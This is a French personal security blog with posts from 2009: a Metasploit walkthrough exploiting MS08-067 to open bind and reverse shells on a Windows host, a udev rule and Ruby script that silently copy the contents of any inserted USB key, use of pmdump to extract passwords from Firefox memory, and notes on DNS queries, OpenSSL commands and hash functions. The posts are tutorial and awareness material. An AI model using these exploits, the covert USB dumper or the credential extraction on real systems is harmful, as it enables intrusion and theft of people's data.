mardi 27 octobre 2009

Premiers pas avec Metasploit

Metasploit est un framework permettant le développement et l'exécution d'exploits. Son auteur principal est le célèbre chercheur en sécurité HD Moore.
Le Metasploit framework est un outil open source (redéveloppé en ruby depuis sa version 3) incontournable pour toutes les personnes voulant faire leurs premiers pas dans le monde du pentest. Il est comparable aux outils commerciaux que sont CANVAS de Immunity ou Core Impact, mais Metasploit a l'avantage d'être totalement gratuit et open source :) En tout cas pour le moment, étant donné qu'il vient d'être racheté par la société Rapid7. A priori les premières informations vont dans le sens de la continuité... espérons que cela soit réellement le cas.

Pour cet exemple j'utilise la version svn de metasploit. Un excellent cours est disponible sur le site de offensive security qui développe BackTrack et est disponible ici.
time0ut# svn co https://metasploit.com/svn/framework3/trunk
On accepte le certificat comme expliqué sur le site et le téléchargement commence. Metasploit arrive avec une base de données importante d'exploits (433 à l'heure ou j'écris ces lignes) et de payloads (262).
Il y a plusieurs façons d'utiliser cet outil : via une interface WEB, via une interface GTK, via une interface console, via la ligne de commande... Les interfaces WEB et GTK, bien que plus WAF ne sont pas exempt de bugs. Nous préfèrerons donc l'utilisation de l'interface console, plus aboutie et plus puissante. La ligne de commande servira pour l'automatisation par exemple et ne sera pas vue dans cet article.

Le lancement de l'interface console se fait grâce au script ruby msfconsole.
time0ut# ./msfconsole

                                  _       _
             _                   | |     (_)_
 ____   ____| |_  ____  ___ ____ | | ___  _| |_
|    \ / _  )  _)/ _  |/___)  _ \| |/ _ \| |  _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
                           |_|


       =[ msf v3.3-beta [core:3.3 api:1.0]
+ -- --=[ 433 exploits - 262 payloads
+ -- --=[ 21 encoders - 8 nops
       =[ 209 aux

msf > 
A n'importe quel moment dans la console, il est possible d'utiliser la commande help pour avoir de l'aide.
Il est important de bien faire la différence entre l'exploit et le payload. L'exploit est le code qui va permettre d'exploiter la vulnérabilité. Le code qui va par exemple permettre d'arriver à faire un buffer overflow dans l'application cible. Le payload est quant à lui la charge utile que l'on va faire exécuter, comme par exemple l'ouverture d'un port sur la machine relié à un shell, la création d'un nouvel utilisateur ou encore l'ouverture d'une session VNC. Bien entendu tous les exploits ne permettent pas d'utiliser tous les payloads, mais metasploit se charge de nous dire quels sont les payloads possibles pour un exploit donné.

Dans cet exemple, nous allons utiliser la vulnérabilité découverte fin 2008, qui touche les machines Windows, la célèbre MS08-067 qui a été largement utilisée par le ver Conficker.

Pour cela, il faut trouver l'exploit, grâce à la commande search par exemple et le sélectionner avec la commande use.
msf > search ms08-067
[*] Searching loaded modules for pattern 'ms08-067'...

Exploits
========

   Name                         Description
   ----                         -----------
   windows/smb/ms08_067_netapi  Microsoft Server Service Relative Path Stack Corruption

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > 
Il est possible d'avoir des informations sur cet exploit avec la commande info.
msf exploit(ms08_067_netapi) > info windows/smb/ms08_067_netapi

       Name: Microsoft Server Service Relative Path Stack Corruption
    Version: 6865
   Platform: Windows
 Privileged: Yes
    License: Metasploit Framework License (BSD)

Provided by:
  hdm 
  Brett Moore 

Available targets:
  Id  Name
  --  ----
  0   Automatic Targeting
  1   Windows 2000 Universal
  2   Windows XP SP0/SP1 Universal
  3   Windows XP SP2 English (NX)
  4   Windows XP SP3 English (NX)
...

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOST                     yes       The target address
  RPORT    445              yes       Set the SMB service port
  SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload information:
  Space: 400
  Avoid: 8 characters

Description:
  This module exploits a parsing flaw in the path canonicalization 
  code of NetAPI32.dll through the Server Service. This module is 
  capable of bypassing NX on some operating systems and service packs. 
  The correct target must be used to prevent the Server Service (along 
  with a dozen others in the same process) from crashing. Windows XP 
  targets seem to handle multiple successful exploitation events, but 
  2003 targets will often crash or hang on subsequent attempts. This 
  is just the first version of this module, full support for NX bypass 
  on 2003, along with other platforms, is still in development.

References:
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250
  http://www.osvdb.org/49243
  http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx
Chaque exploit peut nécessiter une configuration, qu'il est possible de voir avec la commande show options. Ici la variable RHOST doit être précisée. Elle représente l'adresse IP de la machine victime. Les autres variables ont des valeurs par défaut et peuvent être modifiées si besoin.
msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > set RHOST 192.168.0.5
RHOST => 192.168.0.5
msf exploit(ms08_067_netapi) >
Maintenant il faut choisir le payload que l'on va utiliser. Les payloads disponibles pour cet exploit se trouvent avec la commande show payloads. Un multitude de payloads existent pour cet exploit, je n'en ai donc affiché que quelques uns. La sélection du payload se fait via la commande set PAYLOAD payload_a_utiliser. Enfin comme pour les exploits, les payloads nécessitent parfois une configuration que l'on peut toujours voir avec la commande show options.
msf exploit(ms08_067_netapi) > show payloads
...
   windows/shell/bind_tcp                           Windows Command Shell, Bind TCP Stager
   windows/shell/reverse_tcp                        Windows Command Shell, Reverse TCP Stager
...

msf exploit(ms08_067_netapi) > info windows/shell/bind_tcp

       Name: Windows Command Shell, Bind TCP Stager
    Version: 7075, 7075
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 298

Provided by:
  spoonm 
  sf 
  hdm 
  skape 

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  thread           yes       Exit technique: seh, thread, process
LPORT     4444             yes       The local port
RHOST                      no        The target address

Description:
  Listen for a connection, Spawn a piped command shell

msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms08_067_netapi) >
La commande info nous permet de voir que tous les paramètres du payload sont renseignés. Il ne manque plus qu'à réellement lancer l'exploit, ce qui se fait avec la commande exploit ou run.
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.0.2:45290 -> 192.168.0.5:4444)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> owned :)
Comme on peut le remarquer, l'exploit a fonctionné puisqu'on tombe sur un shell Windows :) Le payload windows/shell/bind_tcp a ouvert le port 4444 sur la machine victime, et metasploit c'est automatiquement connecté dessus.

Le problème c'est que beaucoup de machines sont derrière un équipement qui fait du NAT. Donc si le port ouvert sur la machine victime (ici 4444) n'est pas redirigé, impossible de prendre la main sur la machine...

Le payload windows/shell/reverse_tcp peut être beaucoup plus utile dans bien des cas comparé au payload windows/shell/bind_tcp. La différence est que le premier ne va pas ouvrir un port sur la machine victime mais va faire une connexion TCP sur l'adresse IP de la machine qui sera pointée par la variable LHOST (la machine qui utilise metasploit). Donc plutôt que la machine metasploit initie la connexion vers la machine victime, c'est la machine victime qui va initier la connexion vers la machine metasploit. Beaucoup plus pratique pour exploiter une machine qui se trouverait derrière un NAT ou un firewall ;)
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.0.5     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST                      yes       The local address
   LPORT     4444             yes       The local port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(ms08_067_netapi) > set LHOST 192.168.0.2
LHOST => 192.168.0.2
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 2 opened (192.168.0.2:4444 -> 192.168.0.5:1033)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> owned again through NAT :)

dimanche 25 octobre 2009

Détecter la présence du support du javascript

Il est parfois nécessaire de savoir si le navigateur qui va télécharger notre page gère ou non le javascript. Il y a la balise HTML <noscript> qui permet d'exécuter un code particulier au cas où le navigateur ne supporterait pas le langage de script, mais ce code est exécuté coté client, et donc on a aucune information coté serveur. L'idée est de forcer le navigateur à faire une requête HTTP différente s'il supporte le javascript ou s'il ne le supporte pas. En fonction de la requête que l'on reçoit, on pourra adapter le contenu de notre site. Pour faire une requête automatique en HTML (sans utiliser le javascript), il faut utiliser cette requête :
<meta http-equiv="refresh" content="2,ma_page.php?js=0">
Cette requête dit que dans 2 secondes, il faudra charger la page ma_page.php?js=0. Pour faire une requête automatique en Javascript, il faut utiliser cette requête :
window.location = "ma_page.php?js=1"
Au final, en envoyant la page html suivante au navigateur, on peut détecter si le navigateur supporte ou non le langage de script.
<html>
  <head>
    <meta http-equiv="refresh" content="2,ma_page.php?js=0">
  </head>
  <body>
    <script type="text/javascript">
      windows.location = "ma_page.php?js=1";
    </script>
  </body>
</html>
S'il ne le supporte pas, le code javascript ne sera pas exécuté et donc 2 secondes après le chargement de la page, une requête sera faite sur ma_page.php avec un paramètre js à 0. S'il le supporte, le code javascript sera directement exécuté avec en conséquence un appel à la page ma_page.php avec un paramètre js à 1, sans que la redirection HTML ait le temps de se faire. Cette méthode peut être fort utile pour éviter d'envoyer un code javascript qui ne sera de toute façon pas exécuté... ;)

mardi 13 octobre 2009

Danger pour les clés usb

On parle beaucoup du risque des clefs USB pour les PC car c'est un excellent vecteur d'infection (utilisé par conficker par exemple), mais on parle beaucoup moins du risque de perte de confidentialité dû à l'insertion d'une clef USB dans un PC inconnu. Ce risque est pourtant important comme je vais le montrer ici.

L'objectif ici est de copier le contenu de la clef USB (dump) sur le PC dans laquelle elle est insérée et tout ceci à l'insu de son utilisateur. Pour cela je vais utiliser une machine tournant sous Linux, mais il existe bien entendu des équivalents sous Windows.

Sous Linux, le gestionnaire de périphériques depuis le noyau 2.6 s'appelle udev. Il permet de gérer les différents périphériques du répertoire /dev, et de notamment permettre l'exécution d'une commande lors de l'insertion d'un de ces périphériques. C'est exactement ce dont nous avons besoin : exécuter un programme qui copiera le contenu de la clef USB lors de son insertion.

Udev se configure à l'aide de règles que l'on peut trouver dans le répertoire /etc/udev/rules.d et dans le répertoire /lib/udev/rules.d. On commence par créer un nouveau fichier, que l'on va appeler 90_usbdump.rules. Les fichiers sont lus en commençant d'abord par le plus petit chiffre, puis le plus grand. En commençant par 90 on s'assure dans notre exemple que notre fichier sera lu en dernier.

Voilà le contenu de ce fichier :
ACTION=="add", KERNEL=="sd*", RUN+="/root/bin/usb_dumper.rb"

La syntaxe des fichiers rules peut se trouver ici. La règle de ce fichier veut dire, que si c'est une action d'ajout et qu'il y a création d'un device de type sd (sda, sdb, sdc, sda1...), alors on va exécuter le programme suivant /root/bin/usb_dumper.rb. De manière générale, le signe "==" entraîne une condition et le signe "+=" entraîne une réaction qui devra être réalisée si toutes les conditions précédentes sont respectées.

Voilà tout est fait, il ne reste plus qu'à coder le programme usb_dumper.rb qui se chargera de copier le contenu de la clef USB.
J'ai choisi de faire ce programme en ruby (d'où l'extension rb), pour apprendre ce langage qui est nouveau pour moi.

Lors de l'exécution du programme spécifié dans le paramètre RUN, de nombreuses variables d'environnement sont créées qui vont nous permettre d'obtenir les informations nécessaires à la réalisation de notre programme. Le programme suivant permet de récupérer toutes ces variables (il faut changer la commande RUN pour exécuter ce programme) :

#!/usr/bin/env ruby
file = File.new("/root/tmp/log", "a+"):
ENV.each {|k,v| file.puts "#{k}:#{v}"}
file.close();

Le résultat après insertion de la clef usb permet de donner quelques informations importantes comme le type d'action qu'il y a eu (insertion, extraction...), le device responsable (/dev/sdb par exemple), le bus utilisé... Ces informations vont permettre à notre programme de savoir où chercher la clef et aussi de faire différentes actions en fonction du port usb physique utilisé par exemple.

Le code source de usb_dumpe.rb est fourni commenté.
#!/usr/bin/env ruby

require 'fileutils'

# Fichier de log pour savoir ce qui c'est passé
log_file_name = "/root/usb_dump/log"
max_try = 10

# Répertoire de destination du dump de la clef
dest = "/root/usb_dump"

# Si la clef est insérée sur le port physique numéro 1, on ne la dump pas
exclude_usb_port = "1"

# Si la clef est insérée sur le port physique numéro 4, on fait un dump rapide
fast_usb_port = "4"

# Taille max des fichiers a recuperer lors d'un dump rapide
max_size = 5000000

# Temps maximum que l'on s'autorise lors d'un dump rapide
max_time = 60

# Recuperation du device cree (de type /dev/sdb)
device = ENV['DEVNAME']

log_file = File.new(log_file_name, "a+")

# La variable d'environnement ID_PATH nous permet de savoir sur quel port physique on est
if ENV['ID_PATH'].grep(/usb-0:#{exclude_usb_port}:/).length != 0
   log_file.puts "#{ENV['ID_SERIAL']} ignore car present sur un port exclu\n\n"
   exit(0)
end

try = 1

log_file.puts "Lancement usb_dump.rb sur #{device}\n"

# Notre programme est appelé avant que la clef soit montée... on attend donc
while `mount`.grep(/#{device}/).length == 0 and try <= max_try
   sleep(1)
   try += 1
end

if try > max_try
   log_file.puts "USB non monte\n"
   exit(1)
end

# On récupère le répertoire sur lequel la clef est montée
mount_point = `mount`.grep(/#{device}/")[0].gsub(/.*on (.+) type.*$/,'\1').chomp
log_file.puts "Mount Point : #{mount_point}\n"

# Creation du repertoire de stockage
log_file.puts "###### #{ENV['ID_SERIAL']} #{ENV['ID_PATH']} ######\n"
dest += "/" + ENV['ID_SERIAL'] + "_" + Time.now.strftime('%Y%m%d_%H%M')
FileUtils.mkdir(dest)
log_file.puts "Creation de #{dest}...\n"

# On prend le temps de démarrage au cas où on devrait respecter une durée maximale
start_time = Time.now

# On parcourt recursivement la clef
Dir[mount_point + "/**/*"].each do |f|

   # Si on est sur le port physique qui demande de la rapidité, on vérifie qu'on a pas dépassé le temps maximum
   if ENV['ID_PATH'].grep(/usb-0:#{fast_usb_port}:/).length != 0
      current_time = Time.now
      log_file.puts "Temps : #{current_time - start_time} #{current_time - start_time >= max_time}\n"
      if current_time - start_time >= max_time
         log_file.puts "Stop car depassement du temps\n\n"
         exit(0)
      end
   end

   log_file.puts "#{f}"
   dst = dest + f[mount_point.length,f.length]
   if File.directory?(f)
      FileUtils.mkdir(dst)
      log_file.puts "Creation de #{dst}...\n"
   elsif File.file?(f)
      # Si on est sur le port physique qui demande de la rapidité, on ne copie pas les gros fichiers
      if ENV['ID_PATH'].grep(/usb-0:#{fast_usb_port}:/).length != 0 and File.size(f) > max_size
         file_size = File.size(f)
         log_file.puts "Fichier #{f} trop volumineux : #{file_size}\n"
      else
         FileUtils.copy_file(f,dst)
         log_file.puts "Copie de #{f} vers #{dst}...\n"
      end
   end
end
log_file.puts "\n\n"
log_file.close()

Comme on peut le voir, en quelques lignes de codes on peut très facilement mettre en place un système qui aspirera le contenu d'une clef USB de façon complètement transparente pour l'utilisateur.
Le script fait la distinction entre 3 catégories de port USB. Un port qui n'aspirera pas le contenu de la clef (utile pour ne pas se faire aspirer sa propre clef), un port qui aspirera le contenu des clefs en se limitant aux fichiers inférieurs à une certaine taille et limité dans le temps (dans le cas où on ne peut pas se permettre de garder la clef trop longtemps) et tous les autres ports feront une copie de tout le contenu de la clef.

Il est bien entendu possible d'adapter ce script, pour par exemple limiter la copie à certains types de fichiers, envoyer le contenu directement sur Internet...

Il est donc impératif de faire très attention quand on branche sa clef USB sur une machine inconnue, sous peine de voir le contenu de notre clef dupliqué sur l'ordinateur (voire carrément transféré directement sur Internet). La seule parade à cela reste de chiffrer l'ensemble de nos fichiers confidentiels, par l'intermédiaire de truecrypt par exemple.

Update :
Equivalents Windows : USBDumper et USBVirusScan (Merci Rémy).

dimanche 12 juillet 2009

pmdump.exe

pmdump.exe est un outil très sympa qui peut être utile lors de test d'intrusion pour récupérer des données auxquelles nous ne devrions pas avoir accès. Il permet de dumper la mémoire d'un processus dans un fichier texte sans arrêter ce processus. Très utile pour récupérer des mots de passe par exemple !

On commence par lister les processus qui tournent sur la machine grâce à la commande pmdump.exe -list, puis on demande à pmdump de dumper la mémoire en précisant le PID du processus ainsi que le fichier texte où sera écrit la mémoire ; pmdump.exe pid fichier.



Grâce à cet outil j'ai réussi à dumper la mémoire de firefox et à trouver mon mot de passe gmail ainsi que le mot de passe de mon blog.
Il est compatible avec Windows NT 4.0, 2000, XP, 2003 et Vista. Je ne l'ai personnellement testé qu'avec Windows XP.

mercredi 13 mai 2009

Debian grâce à l'USB

Le lecteur de CD/DVD aujourd'hui est un peu le lecteur de disquette d'il y a quelques années, il est voué à disparaître. La plupart des ordinateurs actuels en sont même dépourvus, à plus forte raison si le PC à pour objectif de faire une petite passerelle. C'est mon cas aujourd'hui, j'ai acheté un boîtier mini itx pour installer une nouvelle passerelle à bas prix, et bien entendu je n'ai pas de lecteur CD/DVD. Alors comment installer ma petite Debian dessus ? J'ai choisi l'USB (bien entendu la machine doit être capable de booter sur un disque USB, mais c'est toujours le cas avec les machines récentes).

Tout ceci est très bien expliqué ici.

ATTENTION LA CLEF USB SERA EFFACEE ENTIEREMENT


On commence par télécharger le fichier hd-media/boot.img.gz qui contient tous les fichiers de l'installateur, le noyau et le programme syslinux avec son fichier de configuration. On tape la commande suivante :
$ zcat boot.img.gz > /dev/sdX

sdX représente votre clef USB.

Ensuite on copie notre mini distribution debian de type netinst ou businesscard (seul 256 mo de la clef seront reconnues) et on la copie sur notre clef.
$ mount /dev/sdX /mnt/ma_clef
$ cp debian-501-i386-businesscard.iso /mnt/ma_clef
$ umount /mnt/ma_clef

Et voilà, on a maintenant une clef USB bootable permettant d'initier une installation debian. Il ne manque plus qu'à installer les paquets via le réseau.

samedi 18 avril 2009

Clavier/souris réseau ?

Si comme moi vous avez plusieurs PC et que ça vous énerve de passer votre temps à naviguer d'un clavier/souris à un autre, voilà la solution : synergy. Ce petit outil vous permet de partager un clavier/souris entre plusieurs PC connectés au réseau.

Il se décompose en un client et un serveur, disponible sous Linux ou Windows. Le serveur doit s'installer sur le PC qui possède le meilleur couple clavier/souris (celui qui sera utilisé pour diriger tous les PC), et le client sur le ou les PC qui seront dirigés par le clavier/souris du serveur.

Les binaires de synergy se trouvent sur le site officiel. Si vous êtes sur un système debian un simple sudo aptitude install synergy devrait suffire.

La configuration du client est inexistante puisqu'il suffit juste de préciser sur quel serveur il doit se connecter (adresse IP). Par exemple synergyc server_address (notez le c à la fin de synergy pour client).

La configuration du serveur elle est un peu plus compliquée, mais reste néanmoins extrèmement simple. Sous windows, tout se fait grâce à un clickodrome habituel... Sous linux le fichier de configuration du serveur est /etc/synergy.conf.

Voilà un exemple pour deux PC
$ cat /etc/synergy.conf
section: screens
   PC1:
   PC2:
end

section: links
   PC1:
      up = PC2
   PC2:
      down = PC1
end

Que nous dit ce fichier de configuration ? Il commence par définir deux ordinateurs PC1 et PC2, puis il définit les façon de naviguer entre ces deux PC : Quand sur le PC1, le curseur de souris ira vers le haut, le curseur continuera sa course sur le PC2. Quand sur le PC2, le curseur de souris ira vers le bas, il continuera sa course sur le PC1. Le clavier sera actif sur le PC possédant le curseur de la souris.
Il est possible bien entendu de faire des choses bien plus compliquées avec plusieurs PC. N'hésitez pas à regarder toutes les options de configuration qui sont nombreuses.

Voilà comment n'utiliser qu'un seul clavier/souris pour diriger plusieurs PC.

samedi 14 février 2009

Commande host

La commande host est fort utile lors d'un audit car elle permet l'interrogation de serveur DNS de façon très simple.

$ host
Usage: host [-aCdlriTwv] [-c class] [-N ndots] [-t type] [-W time]
[-R number] [-m flag] hostname [server]
-a is equivalent to -v -t ANY
-c specifies query class for non-IN data
-C compares SOA records on authoritative nameservers
-d is equivalent to -v
-l lists all hosts in a domain, using AXFR
-i IP6.INT reverse lookups
-N changes the number of dots allowed before root lookup is done
-r disables recursive processing
-R specifies number of retries for UDP packets
-s a SERVFAIL response should stop query
-t specifies the query type
-T enables TCP/IP mode
-v enables verbose output
-w specifies to wait forever for a reply
-W specifies how long to wait for a reply
-4 use IPv4 query transport only
-6 use IPv6 query transport only
-m set memory debugging flag (trace|record|usage)

Cette commande est disponible dans bon nombre de distributions comme par exemple Ubuntu dans le paquet bin9-host. Elle est aussi bien entendu disponible dans Backtrack Beta 4. Elle a la même utilité que les commandes très connues dig et nslookup.

Exemples d'utilisation

$ host www.free.fr
www.free.fr has address 212.27.48.10
www.free.fr has IPv6 address 2a01:e0c:1:1599::1
time0ut# host 212.27.48.10
10.48.27.212.in-addr.arpa domain name pointer www.free.fr.

La commande host peut être utilisée avec en paramètre soit un nom DNS soit avec une adresse IP. Dans le premier cas host fera une requête de résolution de nom, et dans le second cas une requête de résolution inverse. Par défaut le serveur DNS configuré sur la machine est utilisé. Il est possible d'en spécifier à la suite du nom à résoudre, très utile pour interroger un serveur DNS particulier sans pour autant changer la configuration de la machine.

$ host www.free.fr 4.2.2.1
www.free.fr has address 212.27.48.10
www.free.fr has IPv6 address 2a01:e0c:1:1599::1
$ host 212.27.48.10 4.2.2.1
10.48.27.212.in-addr.arpa domain name pointer www.free.fr.


Il est aussi possible de récupérer des informations précises sur un domaine comme par exemple l'adresse du serveur responsable de l'envoi de mails ou le serveur DNS responsable de ce domaine.

$ host -t MX free.fr 4.2.2.1
Using domain server:
Name: 4.2.2.1
Address: 4.2.2.1#53
Aliases:

free.fr mail is handled by 20 mx2.free.fr.
free.fr mail is handled by 10 mx1.free.fr.
$ host -t NS free.fr 4.2.2.1
Using domain server:
Name: 4.2.2.1
Address: 4.2.2.1#53
Aliases:

free.fr name server freens1-g20.free.fr.
free.fr name server freens2-g20.free.fr.


Le transfert de zone peut se faire de deux façons et est bien entendu très souvent impossible.

$ host -t AXFR free.fr 4.2.2.1
Trying "free.fr"
; Transfer failed.
Trying "free.fr"
Using domain server:
Name: 4.2.2.1
Address: 4.2.2.1#53
Aliases:

Host free.fr not found: 9(NOTAUTH)
; Transfer failed.
$ host -l free.fr 4.2.2.1
; Transfer failed.
Using domain server:
Name: 4.2.2.1
Address: 4.2.2.1#53
Aliases:

Host free.fr not found: 9(NOTAUTH)
; Transfer failed.


Cette commande permet de faire des opérations très simples sur des serveurs DNS. Elle doit faire partie de la trousse à outil de toute personne faisant un audit (ou un équivalent). Nous verrons par la suite des commandes plus évoluées permettant par exemple de brute forcer des serveurs DNS n'autorisant pas le transfert de zone.

dimanche 11 janvier 2009

Commandes OpenSSL

J'ai toujours du mal à me rappeler de la syntaxe de certaines commandes openssl. Je fais donc un petit mémo pour me rappeler de certaines d'entre elles que j'utilise fréquemment. J'en rajouterai progressivement.

Commandes d'encodage


Pour encoder une suite d'octets avec openssl, il faut utiliser la commande enc. Il est possible par exemple d'encoder grâce à cette commande un texte en base64.

# Encodage du texte toto en base64
$ echo -n toto | openssl enc -base64
dG90bw==

# Decodage du texte dG90bw== encodé en base64
$ echo dG90bw== | openssl enc -base64 -d
toto

Il est à noter que pour le désencodage, openssl attend une chaîne de caratères terminée par un retour chariot. Il ne faut donc pas utiliser l'option -n de la commande echo (qui supprime ce caractère de fin). Si dans l'encodage par contre, on rajoute un retour chariot alors ce dernier sera aussi encodé par la commande.

Commandes de chiffrement asymétrique


Le chiffrement asymétrique est à la base des systèmes de PKI. La particularité de ces algorithmes est que la clef utilisée pour chiffrer le message n'est pas la même clef utilisée pour le déchiffer. Les exemples suivant utilisent l'algorithme RSA accessible via la commande rsautl de openssl.
# Chiffrement avec la clef publique RSA<
$ echo toto | openssl rsautl -encrypt -inkey private.pem
$ echo toto | openssl rsautl -encrypt -inkey public.pem -pubin
Ici le fichier private.pem contient le couple clef publique/clef privée. Le fichier public.pem ne contient que la clef publique. Ici seul la clef publique est utilisée dans le chiffrement (le déchiffrement se fera donc avec la clef privée). La sortie ici n'est pas affichée car rien ne dit qu'elle ne contient que des caractères imprimables. Il faudrait pour cela encoder cette sortie en base64 par exemple pour l'afficher.
# Déchiffrement avec la clef privée RSA
$ echo $to_decrypt | openssl rsautl -decrypt -inkey private.pem
La variable $to_decrypt contient ici le texte chiffré.

Commandes de chiffrement symétrique

Les algorithmes de chiffrement symétrique s'opposent aux algorithmes de chiffrement asymétrique car ils utilisent la même clef pour chiffrer et déchiffrer. La commande enc de openssl (qui permettait aussi l'encodage) permet ce type de chiffrement.
# Chiffrement en AES 256 mode CBC
$ echo toto | openssl enc -aes-256-cbc -K $SKEY -iv $IV -salt

# Dechiffrement en AES 256 mode CBC
$ echo $to_decode | openssl enc -aes-256-cbc -K $SKEY -iv $IV -d
La clef servant au chiffrement/déchiffrement se trouve dans la variable $KEY. Elle doit mesurer 32 octets (car AES 256 bits) et être codée en hexadécimal (donc 64 caractères). Le vecteur d'initialisation $IV utilisé dans ce mode de chiffrement doit faire 16 octets codé en hexadécimal (donc 32 caractères).

Commandes de calcul d'empreinte

Pour plus d'informations sur les fonctions permettant le calcul d'empreinte veuillez vous référer à cet autre billet que j'ai écrit. La commande openssl permettant le calcul d'empreinte s'appelle dgst. Les algorithmes disponibles dans openssl sont nombreux : MD4, MD5, SHA-1, RIPEMD160...
# Calcul d'une empreinte SHA-1
$ echo -n toto | openssl dgst -sha1
0b9c2625dc21ef05f6ad4ddf47c5f203837aa32c

# Calcul d'une empreinte MD5
$ echo -n toto | openssl dgst -md5
f71dbe52628a3f83a77ab494817525c6
La sortie de ces commandes est encodée en hexadécimal.

Commandes de génération de clefs asymétriques

La commande openssl pour générer des clefs asymétriques (RSA) est genrsa. La paire de clef générée peut ou non être chiffrée pour plus de protection.
# Génération d'un couple de clef de 2048 bits
$ openssl genrsa -out keys.pem 2048
Generating RSA private key, 2048 bit long modulus
.............................+++
.................+++
e is 65537 (0x10001)

# Génération d'un couple de clef de 4096 bits qui sera chiffré en triple DES
$ openssl genrsa -des3 -out keys.pem 4096
Generating RSA private key, 4096 bit long modulus
...........++
........................................................................................................................++
e is 65537 (0x10001)
Enter pass phrase for key:
Verifying - Enter pass phrase for key:
La pass phrase demandée servira au chiffrement de la paire de clef. A chaque utilisation de cette clef, cette pass phrase sera demandée. Le fichier résultat ici nommé keys.pem contient le couple de clef généré, c'est à dire la clef privée et la clef publique.

Extraction de la clé publique

Comme dit précédemment, lors de la génération de clés asymétriques, la clé publique et la clé privée sont contenues dans le même fichier. Pour extraire seulement la clé publique de ce fichier voilà la commande.
# Extraction de la clé publique du fichier contenant les deux clés
$ openssl rsa -in keys.pem -out public.pem -outform PEM -pubout
writing RSA key

Commandes relatives aux certificats

Openssl permet de faire toutes les opérations basiques que l'on peut effectuer sur des certificats : création de certificats auto signés, création d'une demande de certificat, signature d'un certificat...
# Création d'un certificat auto signé
$ openssl req -new -x509 -key privkey.pem -out cacert.pem -days 1095
Un certificat permet de certifier une clef publique. Cette clef est contenue dans le fichier nommé privkey.pem (contenant aussi la clef privée comme vu plus haut). Dans le cas d'un certificat autosigné, la clef privée sera utilisée pour signer le certificat. Dans notre exemple, le certificat sera valide pendant 1095 jours. Plusieurs autres informations seront demandée comme le pays relatif au certificat, l'état, la ville, l'entreprise, la section et surtout le common name.
# Création d'une demande de certificat
$ openssl req -new -key privkey.pem -out cert.csr
Le certificat obtenu ici n'est pas directement utilisable car il n'est pas signé. Il faudra donc le faire certifier par une autorité de certification de type Verisign, Thawte...

vendredi 9 janvier 2009

Fonctions de Hachage

Aujourd'hui alors que je lisais le document d'un collègue parlant de la nouvelle attaque permettant de faire un rogue CA à partir de la vulnérabilité du MD5, je réalise que j'ai de nombreuses lacunes sur les fonctions de hachage. Ce billet permet donc de faire une petite introduction sur ces fonctions.

Une fonction de hachage qu'est ce que c'est ? C'est une fonction qui prend en entrée une donnée et qui calcule son empreinte, un petit peu comme l'empreinte digitale d'un doigt. Cette empreinte est une suite d'information caractéristique de la donnée initiale.

Les fonctions de hachage sont à sens unique, ce qui veut dire qu'à partir de l'empreinte, il est impossible de revenir aux données initiales. En d'autres termes, si x représente les données et f() une fonction de hachage, alors il n'existe pas de fonction f-¹() permettant à partir de f(x) de revenir x.

Ceci est assez simple à comprendre. Supposons que notre fonction f() ait comme sortie une empreinte de 128 bits (donc 2¹²⁸ empreintes différentes). Si on calcule f(x) pour x allant de 0 à 2¹²⁸ (donc 2¹²⁸+1 valeurs différentes), il y aura au minimum deux f(x) identiques pour deux x différents.

L'autre particularité importante de la fonction de hachage et qu'il est très difficile de trouver une valeur y qui a comme caractéristique que f(y) = f(x) pour x différent de y. Dans le cas idéal, il faudrait brute forcer la valeur de y (c'est à dire tester en moyenne 2¹²⁸/2=2¹²⁷ possibilités) pour trouver un f(y) = f(x) pour un x donné. Le "pour un x donné" est très important car si x n'est pas fixé, d'après le paradoxe des anniversaires, trouver n'importe quel couple x,y tel que f(x) = f(y) ne revient à faire "que" 2⁶⁴ opérations (racine carré de 2¹²⁸).

Ok tout ça c'est bien beau mais à quoi servent ces fonctions ? Ces fonctions sont très utilisées en informatique et particulièrement en sécurité. Les algorithmes MD5, SHA... sont des fonctions de hachages.
